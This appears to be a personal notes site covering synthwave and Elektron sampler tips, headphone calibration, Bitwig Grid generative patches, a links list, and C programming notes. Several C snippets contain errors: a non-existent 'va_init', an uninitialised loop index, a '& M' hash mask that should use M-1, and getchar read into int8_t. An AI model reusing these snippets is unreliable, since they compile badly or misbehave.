  • EDM: I V PC C B V PC C C (O): Energy increases to the highest level on each chorus and dips to the lowest on the bridge.
  • Nu-disco: V V V/C C C B V V: Energy initially grows but its kept on a medium level throughout the song, with the bridge having a dip in energy, normally done by filtering some instruments. Can be a challenging to keep interest.

Famous artists

• Kavinski
• Carpenter Brut
• Perturbator

Resources

• Synthwave sessions by Ste Ingham
• Synthwave Song Structure And The 8 Bar Rule by Orpheus Audio Academy
• How to make awesome synthwave / 80s drums by Eliana D’Angelo

Glitchhop

Resources

• 14 glitchop tutorials

Elektron

Digitakt

• Humanize percussions with a random LFO on sample position, filter or attack envelope.
• You can copy names as well, not only patterns and the like. Useful when sampling!
• Making hats/shakers.
  • Start with a noise source and use a short envelope.
  • Find a sweet spot on the noise sample.
  • Use a high pass filter, maybe with a bit of resonance.
  • Use an LFO for modulation. Some possibilities:
    • Env Decay time.
    • Env Attack time.
    • Sample start.
    • Tuning.
    • Filter frequency.
    • Panning.
  • Conditional trigs can be cool here to generate variations.
  • Trig locks on panning and tuning can be cool to create a cool groove.
• Making kicks.
  • Start with a noise or an existing kick sample in a position that has a bit of attack.
  • Have a short decay in the envelope.
  • Use a high pass filter with a lot of resonance and a bit of filter envelope to shape the sound.
  • Add a bit of overdrive.
• Recording using the left/right outputs can change the sound vs using Overbridge so it may be interesting to track that separatelly..
• Once a beat has been tracked and/or saved, messing up with modify all parameters (Track + Encoders) can make for interesting sounds, textures or even tonal samples.
• The Digitakt doesn’t have time stretching or slicing, but there are workarounds around this. Say that we have a sample loop that lasts 8 bars, if we want the loop to stay synced to the BPM while we adjust the tempo or tuning samples, we can follow the following workflow:
  • Setup the sample start point to the middle (60).
  • Get a sawtooth LFO with sample start destination, 60 depth and -8 speed. This gives us a ramp that covers the entire sample range synchronized to the beat. Adjusting the multiplier has an effect in how many bars are covered by this repeat.
  • Set up a bit of attack and decay just to prevent clicking.
  • Add two triggers on the 1st and 2nd steps and make the 2nd play at the same time at the first (using microtiming). The first trig is used to reset the LFO by parameter locking the mode on retrigger (F encoder). The second trigger is set to retrig mode with a length greater than 16. The retrigger rate will change the resolution of the “grains” for time stretching.
  • Once this is setup, loops should be synchronized with our sequencer. The second LFO can then be used, for example to scan different samples with the sample choice destination.
• A tape stop effect can be achieved with an exponential sample tune LFO. Set the speed to -8, which, with the BPM16 multiplier would make it so the LFO cycles throughout a bar. Set the depth to a negative value (e.g. -50). We can use an automation trig set to fill mode to activate this.
• Digitakt can TIME STRETCH & BEAT SLICE just like vintage samplers

Octatrack

Live resampling

We can use a record trig in combination with a flex track to live resample audio coming in from one of the inputs or some internal playback buffer. By default, a record trig + playback trig on the first step allow us to pitch down the incoming audio live, but pitching up or reversing is not possible this way. If we micro-time the record trig forward one or two clicks we can’t no longer pitch down, but we should be able to pitch up the incoming audio. Note that in this case we may need to retrigger the sample with an additional play trig. For example, if we pitch up an octave, in addition to the play trig on the 1st step, we should also use a play trig on the 9th. This isn’t really “live”, though, instead we are playing the last recorded loop in the buffer. In case of “live” reversing, the same process as with pitch up applies, only the “sample start” position should be adjusted. For the first trigger the start should be set at 1 and on trigger 9 it should be 64.

Using a “source 3” recording instead of AB/CD, we can pitch up a sample without micro-timing. For example, we can set a live recorded on track 5 from AB and use track 6 to record from track’s 5 via source 3. Another advantage of doing so is that audio can be routed to more than one track, for example track 7 could also be sampling from track 5 and process the effects differently.

• Octatrack Fake-outs: ‘Live’ Reversing and Re-pitching

Other

• Octatrack’s Manual
• Octatrack 64 breakbeat x 16 slices megabreak of doom
• Merlin’s thoughts on Elektron’s Octatrack
• Dawless Lofi Sample Mangling with the Octatrack
• Octatrack Mk2 Tutorial: A Crash Course in Arrangements

Production Resources

• How to use Compression (10-hour course)
• How to use Equalization (9-hour course)
• How to use Reverb (7-hour course)
• The Secret of Maximum Loudness (Dan Worrall)
• How to mix in stereo… without sucking in mono (Dan Worrall)
• Beginner’s Guide to EQ (Dan Worrall)

Mid-side processing

• Mid side eq tricks
• How To Fix A Muddy Mix : Mid Side EQ Mixing Techniques
• Spectrum Analyzer | Audio Mixing Tips | How To See Your Problems

Headphone calibration

I mix pretty much entirely on headphones, given that on my home studio I don’t have access to good monitors or a properly conditioned room. This has some caveats, and even though I know my headphones pretty well, the mixes don’t always translate to other systems. Recently I discovered a simple method to calibrate headphones for a more truthful response, which works system wide and can be implemented in pretty much any DAW and operating system. For example, I mostly use Bitwig on Linux and works like a charm there, no need for external plugins or other software like Sonarworks!

The idea is to try to match your headphone’s frequency response to the “Harman curve”, which seem to have become a standard for audio mixing on headphones. This curve tends to match the preference of a multitude of people from different demographics. Instead of a totally flat response, it tries to mimic the response of flat speakers in a treated room and gives a closer approximation to what a studio environment sound like.

Ideally you will be starting with a good pair of headphones, but you don’t need to break the bank for the most expensive pair. There is massive diminishing returns here, and some 100 buck cans are probably more than enough for most people. I personally use a set of Beyerdynamic DT 990 Pro (250 ohm) and while I like the sound and comfort, I had some issues with the build construction so I wouldn’t necessarily recommend them. Just find something that works for you within your price range and try to keep them as long as possible.

To obtain the calibration curve you can go to the AutoEQ website and type down your headphones model on the search bar. You will be greeted with a scary graph, for which we only really care about the Raw, Target and Equalized plots. On the left you can click “show advanced” and select different target profiles or make any desired adjustments, but by default the appropriate Harman curve should be selected. In the “Select equalizer app” dropdown you can select a variety of options if you want to add this curve to several equalizers (iTunes, Spotify, Rockbox, etc), but for my purposes I use the “Convolution Eq”. You should be able to see the Equalized graph very nicely matching the target curve. Click the “download” button (arrow pointing down) and wave the wav file to your desired folder.

In Bitwig (or your DAW of choice), add a convolution loader in your master and load the equalizer file as an impulse response. Make sure the mix is set to 100%, wet gain is set to 0dB and Width is set to 100%. I like to add a tool device afterwards to gain match the before/after signal. You can group these two together and save the chain as a preset. But wait, we are not done yet, you could disable this chain if you are mastering or measuring your track, but instead, I like to create an FX bus and move the chain there. Disable your master output and set the input of the calibration channel to Master (POST). Don’t forget to turn on monitoring! Lastly, set the output of the calibration track to your headphones output in your audio interface. You should now have headphone calibration directly on your DAW.

Any IR loader will work for this process, and if your DAW doesn’t have one available, there are plenty of free VSTs for this purpose.

You could potentially apply these equalization settings globally, but if you work with multiple headphones this may become a hassle. Furthermore, in that case, you can just add as many FX tracks with their respective calibration IRs and route the audio as needed.

I don’t claim this is the only or best method for headphone mixing, but seems to work for me, and hopefully it may work for you too. In any case, you should always listen to your mixes in a variety of different listening environments: different headphones and earbuds, different speaker systems, your car, mono systems, etc.

Mixing/Mastering

Loudness

Nowadays, music is most likely going to be consumed from streaming and digital platforms. These services have started to normalize the percieved loudness so that no longer music that sounds louder appears as sounding “better”. This means we no longer have to suffer from the Loudness War and we have some more headroom in dynamic range when mixing and mastering a song.

The loudness is typically measured in LUFS/LKFS (Loudness, K-weighted, relative to full scale). Different streaming services will reduce the volume of the music until is in their selected ranges. For example, at the time of writing, the following list show an example of the target LUFS in each platform:

• Youtube: -13 LUFS
• Spotify: -14 LUFS
• iTunes: -16 LUFS
• Tidal: -14 LUFS

To measure LUFS in a Digital Audio Workstation software (DAW), there are fantastic free plugins available, such as Youlean Loudness Meter.

Some people recommend mixing with a target of -23 LUFS with 6dB of headroom and then mastering for the target platform. Of course, we can always mix a bit louder (-12 to -10 LUFS depending on how much compression we are OK with) than we need to target all platforms. Beware of not overdoing it, otherwise we risk losing dynamic range.

Resources

• Mastering Explained (YT channel)

Miscellaneous

How to create a reverse reverb effect on a hit

From Mr. Bill’s video on Ableton Reverse effects (Source)

1. Isolate and bounce the audio track we want to apply the effect. Short hits work better.
2. Reverse the bounced audio track.
3. Apply a reverb and/or delay to the rev. bounced track.
4. Freeze, flatten and consolidate the audio track with the effect.
5. Reverse the track back.
6. Put it back in time with the original hit.

Note that if the track was not reversed prior to consolidation, we obtain a fade-in effect instead when reversing the processed track.

How to set the gain of your microphone

Try to set the gain so that the average audio peaks at around -12dB to have plenty of headroom to play with.

Noise gate

On OBS, set the close threshold and open threshold 5 apart (Open should be smaller), e.g. ct 55, ot 50.

Compression

The effect of compression can still be heard even at lower volumes. The attack of a compressor can help us control the transients. Longer attacks left the transient through, and the faster the attack will shorten the transient. Long attacks and high compression can make for punchier attacks and faster attacks can smooth out harshness. Playing with the release can be used to play with the swing/groove. For example blending overcompressed drums with a slow release will highlight the higher frequencies. Playing around with the release can help shape high-hats. Additionally, the release can be used to create texture. Slower releases will reduce some “growl” smoothing the sound and faster releases can make the transients more obvious.

Resources

• Compressor Designer GEEKS OUT on DRUM COMPRESSION

Software

• SunVox is an amazing cross platform modular synth and tracker. Works on Windows, macOS and Linux.
• ORCA is platform designed for livecoding music and experimentation.
• Noise Engineering free plugins
• Vital Synthesizer
• Surge xt
• OB-XD
• Valhalla Plugins

Guitar amps/cabinets

• GuitarML (Proteus)
• NAM (Neural Amp Modeler)
• NAM Models

Resources

• Automata theory (Wikipedia)
• Cellular automaton (Wikipedia)

Currently Bitwig is my DAW of choice. It runs on Linux, the stock synths and devices are of high quality and it has a truly innovative design, with its concept of modulators everywhere, becoming a true modular playground in DAW form.

The Grid

One of the most powerful devices in Bitwig is “the grid”. Using the grid we can tap into a modular playground akin to using VCV rack, MAX/MSP or Pure Data, but with a much more intuitive design (In my opinion). It allow us to design our own synths and FX from several modules and it’s great for quickly making generative music.

Here you will find a collection of useful constructs that I’ve found when learning the grid. Additionally if you are interested to see these put into action you can check out these videos of some generative patches that I made in my explorations:

• Bad Diode // Bitwig generative patch 001
• Bad Diode // Bitwig generative patch 002
• Bad Diode // Bitwig generative patch 003

Patreon and kofi subscribers get access to an exclusive preset file with all these reference patterns so that you can try them at your convenience.

Euclidean Rhythms

Euclidian Rhythms are easy to set up in the grid, although rotation can be a bit more involved. Here are several versions of Euclidean generators of different complexities.

All it takes is a base clock trigger (for example 16) and another trigger for the subdivisions. For example a 7:16 or 3:8 Euclidean rhythm (division:base).

We can use a gate device in trigger mode to remove certain notes we don’t want to play. Additionally we can set a 16:16 rhythm and use this gate as a pseudo-sequencer.

Using the transport LFO we can control the slowdown/speedup of our signal. For example we can have a pattern that plays over 2 bars (2/bar) or every 4 bars (4/bar) or twice every bar (1/2nd) or any number of combinations.

To perform rotations we need to use a phase shifter node. A phase is exactly N = Base steps. In this case Base = 16 so we quantize a value knob to rotate in the right increments. If we change the base the constant has to be updated accordingly.

Array recording

The array device is conceptually simple but a bit confusing when initially looking at it.

Using a phase counter and making sure we set up the same number for the counter number and array size, we can use the array for recording N random notes and then repeat them constantly.

In essence, when recording we are also passing through the same signal and when if there is not a trigger at that time a note will be read from memory instead.

The second method shown on the right allow us to automatically record a new melody each N bars (Or whenever we want using the combination of gate triggers and transport).

Source: How To Make a Turing Machine in Bitwig Grid (Dash Glitch)

Bernoulli gates

The concept of Bernoulli gates consists on splitting a signal into two path depending on some probability amount. We can bias the signal towards one or the other path by adjusting the chance probability.

In their simplest form these can be implemented with a split and a chance module (Left). We can also combine multiple Bernoulli gates in a multitude of ways, for example cascading them or making them have a probability for the same signal being chosen more than once (Right).

A practical use for this is to create interesting Closed/Open hi-hat patterns.

Source: Bitwig Grid 101: Bernoulli Gates (Tâches Teaches)

Probabilistic gate merger

This construct allow us to combine different trigger probabilities. For this example, the top pattern will play 90% of the time, the middle one 70% of the time and the bottom one 25%, but note that the probabilities are calculated each N bars by using the Transport (LFO) configured as N / bar.

This shows a gate trigger that could be connected to a kick, for example. With three gates we have a total of seven different patterns we can generate. With 4, we would have 16 possible patterns (Think binary!)

Source: Generative Pattern Combining in the Bitwig Studio Grid (Polarity)

Melody generation

Simple approach

Probably the simplest random pitch generator uses some sort of trigger or gate, a dice module and a pitch scaler + quantizer.

To avoid repeating the same note more than once we can use a delay and some logic to obtain a new trigger. This can create some interesting rhythmic responses.

Using S/H LFO

If we don’t care about repeating the same melody multiple times or having a higher probability for certain notes than others, we can use a simple random LFO and the usual combo of pitch scaler + quantizer.

This by itself may be a bit jarring sometimes, but we can also use these random notes to add variation to an existing fixed pattern some of the time as seen below.

A fixed note method

This approach to generate melodies allow us to select a fixed number of notes (in this case 6) and generate a different pitch for each of them, constrained within the given range by the pitch scaler and the selected notes on the quantizer.

The notes can be manually changed with a trigger or, like shown here they can change any N bars by using a phase scaler with a 1:N ratio or a Transport (LFO) setup as (N / bar). When the phase reaches the apex (1.0) we trigger the new pattern.

Using sinemod phase modulation

Another easy way of generating random repeating melodies is to use the sinemod phase device with a sample and hold to retain the value and use the combination of pitch scale/quantizer to adjust note range and scale.

Using the gates device as triggers we can play sequences that contain silences and not just streams of notes. The triggers can be changed to taste, for example to use Euclidean rhythms for polyrhythms.

Modulating the sinemod amount we can create different patterns but all of them will start with the same note. If we add and modulate a phase shift device we can then completely generate new melodies easily.

The idea can be extended to also using the sinemod for rhythm generation provided we have some form of clock quantization. This is usually my preferred method.

Using a delay chain

Here is another example of a probabilistic melody machine which progressively reduces the chances of a note being played through the delay chain.

In this case we have a fixed Cmaj9 chord spelled out, but you can, of course, set up your own notes or even use a random pattern within a key.

Source: Bitwig Grid 101: Yet Another Probability Based Melody Machine (Tâches Teaches)

With probabilistic sampling

We can select a random note from the scale with different probability values with this system.

The output of the sample and hold can be used with an addition S/H triggered by a N=16 clock quantizer or another clock division (e.g. euclidean rhythms).

The method displayed on the right combines the probabilistic sampling with a recorder to allow us repeating the same melody for N bars.

Source: Try these 2 ways of creating melody & rhythm - Bitwig Grid (Polarity)

Creating a chaos machine

This chaos machine uses two random LFOs to modulate the X/Y position of the pad. On a zero crossing from any direction a note will be triggered.

This could be extended for different positions or modulating some parameters/changing the range/changing the scale depending on where in the X or Y axis are we.

Source: Bitwig Grid 101: The XY Pad Can Do Something Pretty Cool (Tâches Teaches)

Sound design

Pitch delay chain

FX like delay are not limited to audio signals, they can be used for anything, including pitch signals like shown here. We are using cascading delays to create a sort of analog shift register.

This can be used in creative ways and with modulations and adding randomness they can be used for example for haunting random melodies.

This method also allows us to further manipulate the signal, for example by controlling the output of the delayed notes with gates. Not possible with a regular delay FX!

Source: Bitwig Grid 101: A Simple Analog Shift Register (Tâches Teaches)

Chaining/repeating envelopes

We can create an envelope that is constantly triggering after it reaches zero while a gate is being held by using a long delay (to enable feedback) and a bit of logic.

In this case its shown with the gates device but we can also use a gate-in for building a playable instrument.

We can extend this concept chaining multiple envelopes, creating a repeating multi stage envelope, as seen below.

Source: Modular Concepts: Musical Maths

Morphing/blending wavetable synths

Here is an interesting way of blending between four different sounds using the XY pad. By modulating the X-Y positions we can get interesting sounds, specially when we also play with the modulation within each synth or sound.

In these example we are blending four wavetable synths, but this technique could be used with any sound.

Source: Bitwig Grid 101: Basic Vector Synthesis With The XY Pad (Tâches Teaches)

This is a non inclusive list of some of my favourite personal websites, blogs and other links.

Websites and Blogs

Art/writing/multimedia

• Nonmateria
• Devine Lu Linvega (XXIIVV)
• Rekka Bellum (kokorobot)
• Compudanzas
• Derek Sivers
• Helvetica Blanc
• Ron Gilbert (Grumpy Gamer)
• Peter Hunt Welch (Still Drinking)
• Bart Bormgans (Weighing a pig doesn’t fatten it)
• Nice color palettes by Zens

Lifestyle/contemporary

• Low tech magazine

Recipes/Food

• Grim Grains
• Homemade soft tortilla wraps

Computer science/Math/Engineering

• Bret Mulvey (The Pluto Scarab)
• Chris Wellons (Null Program)
• Yossi Kreinin (Proper Fixation)
• Malte Skarupke (Probably Dance)
• Peter Saint-Andre (stpeter)
• Edwin Wenink
• Steve Losh
• Jorge Israel Peña
• Daniel Lemire
• Dan Luu
• Raph Levien
• Devon Zuegel
• Drew DeVault
• Demofox
• Fabien Sanglard
• Matt Might
• Floooh (The Brain Dump)
• Lostgarden
• Grid sage
• Nikita Tonsky
• Elm-chan technical notes

Utilities

• Library Genesis
• The Anarchist Library
• ASCII flow
• yEd - graph editor
• Naming schemes
• SVG cleaner (SVG optimization)

Webcomics

• Saturday Morning Breakfast Cereal
• The Perry Bible Fellowship
• Loading Artist
• Extra Fabulous
• XKCD

Movies/shows/documentaries

• The rise of the synths
• Bee and PuppyCat
• The Endless
• Prince of Darkness
• In the mouth of madness
• Dagon
• The Dark Crystal

Music

Artists

• Kavinsky
• Perturbator
• Carpenter Brut
• Gunship
• FM84
• Glitterwolf
• Last Future
• Red Snapper
• Ott
• Liquid Ritual
• Aliceffekt
• Flux pavilion
• Salamanda
• Tristan Arp
• HEALTH
• Master Boot Record
• Keygen Church
• Elder
• Genocab
• Jkuch
• Isaac Hayes
• Sebastien Tellier
• Funkadelic
• Minutes to Midnight
• Blix Byrd
• FortyFeetTall
• The Lost & Found Workshop
• MOON
• Jonny Fallout
• YLVA
• Ivar Tryti

Mixtapes

• The ultimate atmospheric jungle mix (Ishkur)

Radio

• Nolife radio
• Retrowave radio

Music production

• Production advice (Ian Shepherd)
• How to destroy creative block with the song palette strategy
• Create Digital Music
• Bedroom Producers Blog
• Music machines samples
• Free DAW plugins
• folderkit: an OSC-controlled sampler

Discovery

• Album of the year

Books and articles

Music

• Live Coding: a user’s manual

Science

• DNA seen through the eyes of a coder

Non-fiction/Lifestyle

• Sailing the farm
• Zen & the art of the Macintosh : discoveries on the path to computer enlightment
• The limits to growth: eco-socialism or barbarism
• Bullshit Jobs

Compilers

• A catalogue of optimizing transformations
• 21 compilers and 3 orders of magnitude in 60 minutes
• The Function of FUNCTION in LISP, or Why the FUNARG Problem Should be Called the Environment Problem
• The funarg problem
• Surprising weak-ref implementations
• Escape analysis
• Compile time reference counting & Lifetime Analysis in Lobster
• Engineering a compiler

Text editors

• The craft of text editing
• Piece Chains (The perfect text editor)

Programming

• Elements of Programming
• SNES Development Manual (Official)
• Project Oberon: The design of an operating system and compiler
• Explanations (X11 programming)
• From Zero to main(): How to Write a Bootloader from Scratch
• Make my website accessible and look OK
• Developing a Digital Synth in C++
• Internal pointers
• A few things I know about Lisp machines
• RSS and Atom Feed Tutorial
• Correct incremental builds with Makefiles
• Boot a Raspberry Pi 4 using u-boot and Initramfs

Design

• The Elements of Typographic Style Applied to the Web
• Practical Color Theory for People Who Code
• Build a color scheme: The fundamentals
• Practical Typography
• A simple guide to HTML <head> elements
• Colour contrast check
• Colllor
• Paletton
• Typographic Modular Scale

Graphics/gamedev

• The black art of 3d game programming
• Trystan’s blog: Roguelike tutorial
• Red Blob Games
• Scroll Back: The Theory and Practice of Cameras in Side-Scrollers
• Miniboss pixel art tutorials
• Generating fantasy maps
• Fantasy maps for fun and glory
• World generation breakdown
• The Wavefunction Collapse Algorithm explained very clearly
• Alain Galvan

Illustration/design

• The Art Of Computer Designing: A Black and White Approach

Fiction

• MANGA: Ghost in the Shell 1

Recipes

• Fermented tomato soup
• Szechuan eggplant with silken tofu

Games

• Dashy no Blast
• The Eternal Castle
• Citizen Sleeper
• Disco Elysium
• Dwarf Fortress
• Goodboy Galaxy

Initiatives

• Projects, community and tools/resources for ways of existing without capitalism

Hashing (Vol. 3, p. 519)

If we have a stream of characters that we want to hash, we can hash each character with a different hash function and add them together.

Be K := {x1, x2, ... , xn} we want to map to M buckets:

h(K) = (h1(x1) + h2(x2) + ... + hn(xn)) mod M

The thing that makes this interesting is that for a limited set of numbers, we can precompute these hashes and store them in a lookup table, so the function becomes:

hash_lookup[255] = {0xDEADBEEF, 0xFEEDD011, ...}
h(K) = (hash_lookup[x1] + hash_lookup[x2] + ... + hash_lookup[xn]) mod M

If M is a power of 2, we can avoid the mod by subsituting XOR in place of addition:

h(K) = (hash_lookup[x1] ^ hash_lookup[x2] ^ ... ^ hash_lookup[xn]) & M

If the hash_lookup values are chosen at random, this method should minimize the collisions in the table.

Alternatively, we could just use Fibonacci hashing as a finisher for mapping the results of the additions. For a hash table, we could generate the lookup table of 255 elements at random every time.

This book is focused on the Scheme programming language, and follows an interesting writing style, where questions are asked on the left panel and answered on the right. It is akin to how a children would learn a new skill, by trial an error and with an explanation of the solution.

With the book there are also certain laws and commandments that are given as a ground truth for reference when coding.

Laws

• All strings including symbols, numbers and special characters other than ( or ) are atoms.
• All atoms, lists are S-expr.
• Law of car: car is defined only on non-empty lists.
• Law of cdr: cdr is defined only on non-empty lists. cdr returns another list.
• Law of cons: cons take two arguments, the second being a list. The result is a list.
• Law of null?: null? is only defined for lists.
• Law of eq?: eq? takes two atoms (non numeric?).

Commandments

• First commandment: Always ask null? as first question when recurring a list of atoms. When recurring on a number ask zero? as the first question.
• Second commandment: Use cons to build lists.
• Third commandment: When building a list, describe the typical element and then cons it onto the natural recursion.
• Fourth commandment: Always change at least one argument when recurring. It must be changed to be closer to termination. The changing argument must be tested in the termination condition.
• Fifth commandment: When building value with + (sum), use 0 for value of terminating condition. When building with x (multipy), always use 1 for the value of the terminating condition. With const, use '() as the value of the terminating condition.

Resources

• Introduction to the science of colours
• Secrets of color-grading in photography

C is on of the most used systems programming languages in the world. Your OS will probably a good chunk of C in it. After some years of C++ programming I wanted to expore the more minimal core of C99 and C11, and I much prefer it to any other system programming language alternatives.

Style guide

This is my personal style guide for writing C code. Some more or less objective rules of thumb and my own biased preferences. Everyone has their own preferences, and one should try to respect the style guide if working with other people on different projects. Consistency is key.

• Create heap allocated resources by returning a pointer to them. The function should be called fun_create and freed with fun_destroy.
• Use typedefs on function pointers or objects that are suppossed to be opaque from the user perspective.
• Declare each variable in a separate line.
• Use braces even when optional.
• Indent with 4 spaces.
• When writing function implementations, put return argument argumenets on a separate line from function name to be able to query the codebase for ^fun_name.
• Use double slash comments when possible //. I find these much easier to read and write, and they are supported since C99. I tend to comment a lot, sometimes a bit too much, but this is because I normally start writing new functions by outlining the desired behaviour with comments and then implement it step by step. Future-me likes past-me when reading code that has been pushed off the mental cache.
• Don’t be afraid of using long variable names. It’s good to try to be as concise as possible, but clarity is very important to me, so I would favour int node_count over int nc. The exception to this are indexes, where normally I will use i, j, k, n, m, z, p....

Resources

Here are some style guides that I’ve read from other people. I agree with some parts of these and disagree with others. Ultimately some choices are philosophical and other are more or less practical, so pick your own style and try to stick to it. If working with other people try to agree on some guidelines, use the project existing style or use some autoformatters to avoid pointless discussions.

• Drew de Vault’s C style guide
• Sigrid’s C code notes
• Aiju’s style notes
• Rob Pike’s C code notes

Notes on the language

The static keyword

• static global: Used as a global makes the variable/function only visible for that translation unit. If a function is made static, we ensure that the identifier name will not conflict with others outside of its translation unit. For example, if on head.h I declare a static int do_the_thing(void) function and on kazoo.h I declare a function with the same type signature and name, both will be valid, as long as I’m not trying to make use one in place of another.
• static local: Used inside a function will make it persist, but will only be visible from within the function. This means that we have a persistent global state, but no one can touch it except its creator.

The inline keyword

The inline keyword can be thought as a hint to the compiler to increase the likelihood of a function to be inlined. In order for that to work, it needs to be used with static as well, otherwise, inline can be used as an alternative implementation for an existing function. For example if we have an int fun() in translation unit fun.c and inline fun() in bar.c, and we call fun() from bar.c, if the function gets inlined, the inline fun() will be used instead of the one in fun.c. This can be a big problem if the functions don’t behave exactly the same, and it will increase the burden of maintaining two different versions.

Inline functions should be both declared and defined in header files unless those functions have internal linkage. In C, if also want non inline for the same funcion we would add a definition on a single .c file.

//
// max_val.h
//

inline int
max_val(int a, int b) {
    return a > b ? a : b;
}

//
// max_val.c
//

#include "max_val.h"

int
max_val(int a, int b);

// or

extern int
max_val(int a, int b);

// or

extern inline int
max_val(int a, int b);

// this doesn't work here!
inline int
max_val(int a, int b);

We can also force the inlining by passing a compiler parameter, i.e. __atribute__((always_inline)) inline int fun(), but in general we can trust that the compiler will optimize the inlines as needed.

The <stdarg.h> header

Contains macros to access variadic functions. Use the following example as a guide:

#include <stdarg.h>

int
sum_numbers(int num, ...) {
    va_list args;
    va_init(args, num);
    int sum = 0;
    for (size_t i; i < num; ++i) {
        sum += va_arg(args, int);
    }
    va_end(args);
    return sum;
}

Strings with <string.h>

• Try to use strtok_r instead of strtok for string tokenization, as the former doesn’t have global state (It is reentrant).
• strtok_r and strtok can take multiple delimiters as a string (",:" will tokenize by comma or colon).
• strtok_r and strtok will treat multiple empty delimiters as one instead of returning an empty string. For example "hey,hello,,world" will be tokenized as ["hey", "hello", "world"] instead of ["hey", "hello", "", "world"]. If we need empty strings as delimiters we can roll our own tokenization or use non standard strsep.
• strtok_r, strtok and strsep are destructive operations. Make sure to memcpy or strdup the original string if you care for it.

// Split file into words.
char *token = webster;
char **all_tokens = NULL;
for (size_t i = 0; i < n_words; ++i) {
    // Limit number of words
    if (i >= n_words) {
        break;
    }
    if (i == 0) {
        token = strtok(token, " \n\t\r\v\f");
    } else {
        token = strtok(NULL, " \n\t\r\v\f");
    }
    if (token == NULL) {
        break;
    }
    dyn_push(all_tokens, token); // Dynamic array from my own library.
}

Reference

char *strtok(char *str, const char *delim);
char *strtok_r(char *str, const char *delim, char **saveptr);

About const and pointers

Here is an example of const pointers usage depending on what do we want to make const, taken from Correct usage of const with pointers:

// Neither the data nor the pointer are const
char* ptr = "just a string";

// Constant data, non-constant pointer
const char* ptr = "just a string";

// Constant pointer, non-constant data
char* const ptr = "just a string";

// Constant pointer, constant data
const char* const ptr = "just a string";

IO with <stdio.h>

• Don’t take the address or try to set manually a FILE pointer. Some implementations rely on magic to make them work.
• After writing, call fseek(), fsetpos(), rewind(), or fflush() before reading.
• After reading, call fseek(), fsetpos(), or rewind() before writing unless the file is at EOF: a read that hits EOF can be followed immediately by a write.

Read an entire file into memory

char *
read_file(char *file_name) {
    FILE *file = fopen(file_name, "r");
    if (!file) {
        fprintf(stderr, "couldn't open file: %s\n", file_name);
        exit(-1);
    }

    fseek(file, 0, SEEK_END);          // Set file pointer to the end of file
    size_t file_size = ftell(file);    // Store the current position in file (in Bytes)
    fseek(file, 0, SEEK_SET);          // Set file pointer to beginning.
    char *str = malloc(file_size + 1); // Allocate memory for file.
    fread(str, 1, file_size, file);    // Copy 1 (Byte) * file_size from file into str.
    str[file_size] = 0;                // Set the null terminator.

    fclose(file);
    return str; // NOTE: We are returning a pointer, caller must free it!
}

Copy the contents of a file into another

void
copy_file(FILE *in, FILE *out) {
    char buf[COPY_BUF_SIZE];
    int read = 0;
    while ((read = fread(buf, 1, sizeof(buf), in)) > 0) {
        fwrite(buf, 1, read, out);
    }
}

Extra printf/scanf options

// Print 10 characters
printf("%.10s", string);

// Print n characters
printf("%.*s", n, string);

// Format a numeric value as hex with up to 4 leading zeros.
printf("0x%04x\n", number); // Lowercase
printf("0x%04X\n", number); // Uppercase

// Read 10 characters
scanf("%10s", input);

// Read 10 vowels using scansets
scanf("%10[aeiou]s", input);

Read characters until end of file

int8_t c;
while ((c = getchar()) != EOF) {
    // do stuff...
}

Binary shifts

We can create an M circular shift of an Nbit unsigned integer by doing:

uintN_t x = 1231215198;
uintN_t shift_M_left = (x << M) | (x >> (N - M));
uintN_t shift_M_right = (x >> M) | (x << (N - M));

Defer style macros

These can be useful for profiling, UIs, releaseing file handles and more:

#define macro_var(name) concat(name, __LINE__)
#define defer(start, end) for (      \
    int macro_var(_i_) = (start, 0); \
    !macro_var(_i_);                 \
    (macro_var(_i_) += 1), end)      \

defer(begin(), end()) {
    // ...
}

#define profile defer(profile_begin(), profile_end())
profile {
    // ...
}

#define gui defer(gui_begin(), gui_end())
gui {
    // ...
}

file_handle file = file_open(filename, file_mode_read);
scope(file_close(file)) {
    // ...
    // File will be closed when the scope ends.
}

Assertions/Tests with <assert.h>

We can quickly create a minimal test suite using asserts. If we want to display a message about the test, we can do so with:

assert(1 == 0 && "Message goes here");

Assertions will be removed when compiled with -DNDEBUG (They become NOPs). They also call abort(), which will dump the core if possible for further debugging.

Complex numbers <complex.h>

We have support for complex numbers with the _Complex values, but this header adds some nice typedefs. Arithmetic, equality, assignment and compoound assignment work with complex numbers.

double complex a = 2;   // 2 + 0i
double imaginary = 2;   // 2i
double complex = 6 * I; // 6i
d = a + b * c;
printf("%g + %gi\n", creal(d), cimag(d));

Designated initializers

One of the main reasons for me to use C99. They give a lot of utility for initializing structures and arrays. You can even use these to pass pointers to structs without creating a temporary. You can use this also for arrays by specifying the desired position.

struct Foo {
    int a;
    int b;
    int c;
};

// Direct structure initialization. Not given fields will be zero initialized.
struct Foo foo = (struct Foo){.a = 1, .b = 2};

// Zero initialization except for index 3 and 7
int arr[10] = {[3] = 1, [7] = 2};

// Take address of temporary.
// void add_vectors(struct Vec3 *, struct Vec3 *)
add_vectors(&(struct Vec3){.x = 2, .y = 3}, &(struct Vec3){.x = 1, .y = 2});

Flexible Array Members

The last field in a structure can be a variable array, for example if we have a packet structure such as this:

struct Packet {
    header h;
    data d[];
};

We can allocate the memory for it as follows:

Packet *p = malloc(sizeof(Packet) + n * sizeof(data));

This solves potential issues with padding. If so, sizeof will return the size of the package up to but not including the data member (Including padding).

Transform endianness

We don’t normally care about the endianness of our processor. What we may actually want is to read the bytes from a big/little endian encoded number from a stream. We can use these functions (or equivalent) to achieve this regardless of the endianness of our processor:

u32
big_endian_read(u8 *data) {
    return (data[3] <<  0) |
           (data[2] <<  8) |
           (data[1] << 16) |
           (data[0] << 24);
}

u32
little_endian_read(u8 *data) {
    return (data[0] <<  0) |
           (data[1] <<  8) |
           (data[2] << 16) |
           (data[3] << 24);
}

You can read more about this in “the byte order fallacy” article, by Rob Pike.

Minimalist unit testing in C

Unit testing in C can be done without a large framework:

// testlib.h
#define mu_assert(message, test) do { if (!(test)) return message; } while (0)
#define mu_run_test(test) do { char *message = test(); tests_run++; \
                               if (message) return message; } while (0)
extern int tests_run;

// tests/example.c
#include <stdio.h>
#include "testlib.h"

int tests_run = 0;

int foo = 7;
int bar = 4;

static char * test_foo() {
    mu_assert("error, foo != 7", foo == 7);
    return 0;
}

static char * test_bar() {
    mu_assert("error, bar != 5", bar == 5);
    return 0;
}

static char * all_tests() {
    mu_run_test(test_foo);
    mu_run_test(test_bar);
    return 0;
}

int main(int argc, char **argv) {
    char *result = all_tests();
    if (result != 0) {
        printf("%s\n", result);
    }
    else {
